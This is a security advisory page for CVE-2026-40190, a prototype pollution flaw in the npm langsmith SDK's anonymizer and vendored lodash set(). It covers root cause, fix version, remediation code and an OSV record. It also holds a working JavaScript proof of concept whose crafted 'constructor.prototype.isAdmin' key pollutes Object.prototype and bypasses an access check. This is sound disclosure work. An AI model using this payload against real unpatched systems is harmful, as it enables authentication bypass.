CVE-2026-40190: Langsmith LangSmith Client SDKs Has Prototype Vulnerability

MODERATE
Advisory Identifier: GHSA-fw9q-39r9-c252
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CVSS 5.6
CWE-1321
Published
Advisory Summary

CVE-2026-40190 is a MODERATE (CVSS 5.6) langsmith client sdks has prototype vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting Langsmith libraries in the npm ecosystem. The issue involves langsmith client sdks has prototype pollution in langsmith-sdk via incomplete `__proto__` guard in internal lodash `set()`. Remediation is available by upgrading affected packages to version 0.5.18.

CVE-2026-40190 at a Glance

CVE Identifier CVE-2026-40190
GHSA Identifier GHSA-fw9q-39r9-c252
Severity MODERATE
CVSS v3.1 Base Score 5.6
CWE Classification CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected Product Langsmith
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2026-40190

To remediate this vulnerability, upgrade all affected Langsmith dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

langsmith fixed: 0.5.18 
npm install langsmith@0.5.18
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls langsmith

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-40190, inspect your project dependencies using npm:

npm ls langsmith

Analyze the terminal output to locate any version of Langsmith in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.18), your application is affected.

Note: The npm ls langsmith command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In Langsmith, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash `set()` Guard in `langsmith-sdk` **Severity:** Medium (CVSS ~5.6) **Status:** Fixed in 0.5.18 --- ## Summary The LangSmith JavaScript/TypeScript SDK (`langsmith`) contains an incomplete prototype pollution fix in its internally vendored lodash `set()` utility. The `baseAssignValue()` function only guards against the `__proto__` key, but fails to prevent traversal via `constructor.prototype`. This allows an attacker who controls keys in data processed by the `createAnonymizer()` API to pollute `Object.prototype`, affecting all objects in the Node.js process. --- ## Affected Products | Product | Affected Versions | Component | |---------|-------------------|-----------| | `langsmith` (npm) | <= 0.5.17 | `js/src/utils/lodash/baseAssignValue.ts`, `js/src/anonymizer/index.ts` | | langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK | **Not affected:** The Python SDK (`langsmith` on PyPI) does not use lodash or an equivalent pattern. --- ## Root Cause The SDK vendors an internal copy of lodash's `set()` function at `js/src/utils/lodash/`. The `baseAssignValue()` function at `baseAssignValue.ts:11` implements a guard for prototype pollution: ```typescript function baseAssignValue(object: Record<string, any>, key: string, value: any) { if (key === "__proto__") { Object.defineProperty(object, key, { configurable: true, enumerable: true, value: value, writable: true, }); } else { object[key] = value; // ← No guard for "constructor" or "prototype" keys } } ``` This blocks `__proto__` pollution but does **not** block the `constructor.prototype` traversal path. When `set()` is called with a path like `"constructor.prototype.polluted"`: 1. `castPath()` splits it into `["constructor", "prototype", "polluted"]` 2. `baseSet()` iterates: `obj.constructor` → `Object` → `Object.prototype` 3. `assignValue(Object.prototype, "polluted", value)` calls `baseAssignValue()` 4. Key is `"polluted"` (not `"__proto__"`), so the guard is bypassed 5. `Object.prototype.polluted = value` — all objects are polluted --- ## Attack Vector via Anonymizer The `createAnonymizer()` API (importable as `langsmith/anonymizer`) processes data by: 1. **Extracting string nodes** — `extractStringNodes()` walks an object recursively and builds dotted paths from keys 2. **Applying regex replacements** — If a string value matches a configured pattern, the node is marked for update (`anonymizer/index.ts:95`) 3. **Writing back with `set()`** — `set(mutateValue, node.path, node.value)` writes the replaced value back (`anonymizer/index.ts:123`) An attacker who controls keys in data being anonymized can construct a nested object where the path resolves to `constructor.prototype.X`: ```javascript { wrapper: { "constructor.prototype.isAdmin": "contains-secret-pattern" } } ``` `extractStringNodes()` produces path `"wrapper.constructor.prototype.isAdmin"`. When the replacement triggers and `set()` writes back, it traverses up to `Object.prototype`. Although `createAnonymizer()` uses `deepClone()` at `anonymizer/index.ts:62` (`JSON.parse(JSON.stringify(data))`), the prototype chain traversal escapes the clone boundary because `clone.wrapper.constructor` resolves to the global `Object` constructor, not a cloned copy. --- ## Proof of Concept ```javascript import { createAnonymizer } from "langsmith/anonymizer"; const anonymizer = createAnonymizer([ { pattern: "secret", replace: "[REDACTED]" } ]); console.log("BEFORE:", ({}).isAdmin); // undefined const maliciousInput = { wrapper: { "constructor.prototype.isAdmin": "this-is-secret-data" } }; anonymizer(maliciousInput); console.log("AFTER:", ({}).isAdmin); // "this-is-[REDACTED]-data" console.log("Array:", [].isAdmin); // "this-is-[REDACTED]-data" function checkAccess(user) { if (user.isAdmin) return "ACCESS GRANTED"; return "ACCESS DENIED"; } console.log(checkAccess({ name: "bob" })); // "ACCESS GRANTED" ← BYPASSED ``` --- ## Impact Prototype pollution in a Node.js process can enable: 1. **Authentication bypass** — `if (user.isAdmin)` checks succeed on all objects 2. **Remote Code Execution** — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach `eval()`/`Function()` sinks 3. **Denial of Service** — Overwriting `toString`, `valueOf`, or `hasOwnProperty` on all objects 4. **Data exfiltration** — Polluting serialization methods to inject attacker-controlled values --- ## Remediation In `baseAssignValue.ts`, extend the guard to cover `constructor` and `prototype` keys: ```typescript function baseAssignValue(object, key, value) { if (key === "__proto__" || key === "constructor" || key === "prototype") { Object.defineProperty(object, key, { configurable: true, enumerable: true, value, writable: true, }); } else { object[key] = value; } } ``` As defense in depth, `extractStringNodes()` in `anonymizer/index.ts` should also sanitize or reject path segments matching `constructor` or `prototype` before passing them to `set()`. --- ## Timeline | Date | Event | |------|-------| | 2026-03-24 | Initial report submitted | | 2026-04-09 | Vendor confirmed; fixed in 0.5.18 | --- ## Credits Reported by: OneThing4101

CVE-2026-40190 Affected Langsmith Versions

1 component(s)
Fixed Versions:
0.5.18
Product / Package Ecosystem Affected Versions Fixed Version
langsmith
npm/langsmith
npm
< 0.5.18
0.5.18

References

GitHub Advisory / Wiki ADVISORY
https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-fw9q-39r9-c252
NVD — CVE-2026-40190 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-40190
Langsmith Source Repository REPOSITORY
https://github.com/langchain-ai/langsmith-sdk/pull/2690
Security Fix Commit FIX COMMIT
https://github.com/langchain-ai/langsmith-sdk/commit/31d3c3aec02892f4312baae112f817d6b2f0ebe3
Langsmith Source Repository REPOSITORY
https://github.com/langchain-ai/langsmith-sdk

Frequently Asked Questions

What is CVE-2026-40190?
CVE-2026-40190 is a security vulnerability in Langsmith involving LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()` under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
Which Langsmith versions are affected?
Affected versions include releases prior to 0.5.18 across affected packages: langsmith.
What version fixes CVE-2026-40190?
Upgrading to 0.5.18 (or the latest patched release for your respective branch) resolves the vulnerability.
Is langsmith affected?
Yes, langsmith is affected in releases prior to 0.5.18. Upgrade your dependency to 0.5.18 or later.
What is the CVSS score of CVE-2026-40190?
CVE-2026-40190 has a CVSS v3.1 base score of 5.6 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L.
What CWE is associated with CVE-2026-40190?
CVE-2026-40190 is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.).
How can I check npm dependencies for CVE-2026-40190?
Run the dependency tree command: 'npm ls langsmith'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fw9q-39r9-c252",
  "modified" : "2026-04-10T21:37:36Z",
  "published" : "2026-04-10T20:18:02Z",
  "aliases" : [ "CVE-2026-40190" ],
  "summary" : "LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`",
  "details" : "# GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash `set()` Guard in `langsmith-sdk`\n\n**Severity:** Medium (CVSS ~5.6)\n**Status:** Fixed in 0.5.18\n\n---\n\n## Summary\n\nThe LangSmith JavaScript/TypeScript SDK (`langsmith`) contains an incomplete prototype pollution fix in its internally vendored lodash `set()` utility. The `baseAssignValue()` function only guards against the `__proto__` key, but fails to prevent traversal via `constructor.prototype`. This allows an attacker who controls keys in data processed by the `createAnonymizer()` API to pollute `Object.prototype`, affecting all objects in the Node.js process.\n\n---\n\n## Affected Products\n\n| Product | Affected Versions | Component |\n|---------|-------------------|-----------|\n| `langsmith` (npm) | <= 0.5.17 | `js/src/utils/lodash/baseAssignValue.ts`, `js/src/anonymizer/index.ts` |\n| langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |\n\n**Not affected:** The Python SDK (`langsmith` on PyPI) does not use lodash or an equivalent pattern.\n\n---\n\n## Root Cause\n\nThe SDK vendors an internal copy of lodash's `set()` function at `js/src/utils/lodash/`. The `baseAssignValue()` function at `baseAssignValue.ts:11` implements a guard for prototype pollution:\n\n```typescript\nfunction baseAssignValue(object: Record<string, any>, key: string, value: any) {\n  if (key === \"__proto__\") {\n    Object.defineProperty(object, key, {\n      configurable: true, enumerable: true, value: value, writable: true,\n    });\n  } else {\n    object[key] = value;  // ← No guard for \"constructor\" or \"prototype\" keys\n  }\n}\n```\n\nThis blocks `__proto__` pollution but does **not** block the `constructor.prototype` traversal path. When `set()` is called with a path like `\"constructor.prototype.polluted\"`:\n\n1. `castPath()` splits it into `[\"constructor\", \"prototype\", \"polluted\"]`\n2. `baseSet()` iterates: `obj.constructor` → `Object` → `Object.prototype`\n3. `assignValue(Object.prototype, \"polluted\", value)` calls `baseAssignValue()`\n4. Key is `\"polluted\"` (not `\"__proto__\"`), so the guard is bypassed\n5. `Object.prototype.polluted = value` — all objects are polluted\n\n---\n\n## Attack Vector via Anonymizer\n\nThe `createAnonymizer()` API (importable as `langsmith/anonymizer`) processes data by:\n\n1. **Extracting string nodes** — `extractStringNodes()` walks an object recursively and builds dotted paths from keys\n2. **Applying regex replacements** — If a string value matches a configured pattern, the node is marked for update (`anonymizer/index.ts:95`)\n3. **Writing back with `set()`** — `set(mutateValue, node.path, node.value)` writes the replaced value back (`anonymizer/index.ts:123`)\n\nAn attacker who controls keys in data being anonymized can construct a nested object where the path resolves to `constructor.prototype.X`:\n\n```javascript\n{\n  wrapper: {\n    \"constructor.prototype.isAdmin\": \"contains-secret-pattern\"\n  }\n}\n```\n\n`extractStringNodes()` produces path `\"wrapper.constructor.prototype.isAdmin\"`. When the replacement triggers and `set()` writes back, it traverses up to `Object.prototype`.\n\nAlthough `createAnonymizer()` uses `deepClone()` at `anonymizer/index.ts:62` (`JSON.parse(JSON.stringify(data))`), the prototype chain traversal escapes the clone boundary because `clone.wrapper.constructor` resolves to the global `Object` constructor, not a cloned copy.\n\n---\n\n## Proof of Concept\n\n```javascript\nimport { createAnonymizer } from \"langsmith/anonymizer\";\n\nconst anonymizer = createAnonymizer([\n  { pattern: \"secret\", replace: \"[REDACTED]\" }\n]);\n\nconsole.log(\"BEFORE:\", ({}).isAdmin);  // undefined\n\nconst maliciousInput = {\n  wrapper: {\n    \"constructor.prototype.isAdmin\": \"this-is-secret-data\"\n  }\n};\n\nanonymizer(maliciousInput);\n\nconsole.log(\"AFTER:\", ({}).isAdmin);   // \"this-is-[REDACTED]-data\"\nconsole.log(\"Array:\", [].isAdmin);     // \"this-is-[REDACTED]-data\"\n\nfunction checkAccess(user) {\n  if (user.isAdmin) return \"ACCESS GRANTED\";\n  return \"ACCESS DENIED\";\n}\nconsole.log(checkAccess({ name: \"bob\" }));  // \"ACCESS GRANTED\" ← BYPASSED\n```\n\n---\n\n## Impact\n\nPrototype pollution in a Node.js process can enable:\n\n1. **Authentication bypass** — `if (user.isAdmin)` checks succeed on all objects\n2. **Remote Code Execution** — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach `eval()`/`Function()` sinks\n3. **Denial of Service** — Overwriting `toString`, `valueOf`, or `hasOwnProperty` on all objects\n4. **Data exfiltration** — Polluting serialization methods to inject attacker-controlled values\n\n---\n\n## Remediation\n\nIn `baseAssignValue.ts`, extend the guard to cover `constructor` and `prototype` keys:\n\n```typescript\nfunction baseAssignValue(object, key, value) {\n  if (key === \"__proto__\" || key === \"constructor\" || key === \"prototype\") {\n    Object.defineProperty(object, key, {\n      configurable: true, enumerable: true, value, writable: true,\n    });\n  } else {\n    object[key] = value;\n  }\n}\n```\n\nAs defense in depth, `extractStringNodes()` in `anonymizer/index.ts` should also sanitize or reject path segments matching `constructor` or `prototype` before passing them to `set()`.\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-24 | Initial report submitted |\n| 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |\n\n---\n\n## Credits\n\nReported by: OneThing4101",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "langsmith"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.5.18"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.5.17"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-fw9q-39r9-c252"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40190"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langchain-ai/langsmith-sdk/pull/2690"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langchain-ai/langsmith-sdk/commit/31d3c3aec02892f4312baae112f817d6b2f0ebe3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/langchain-ai/langsmith-sdk"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T20:18:02Z",
    "nvd_published_at" : "2026-04-10T20:16:24Z"
  }
}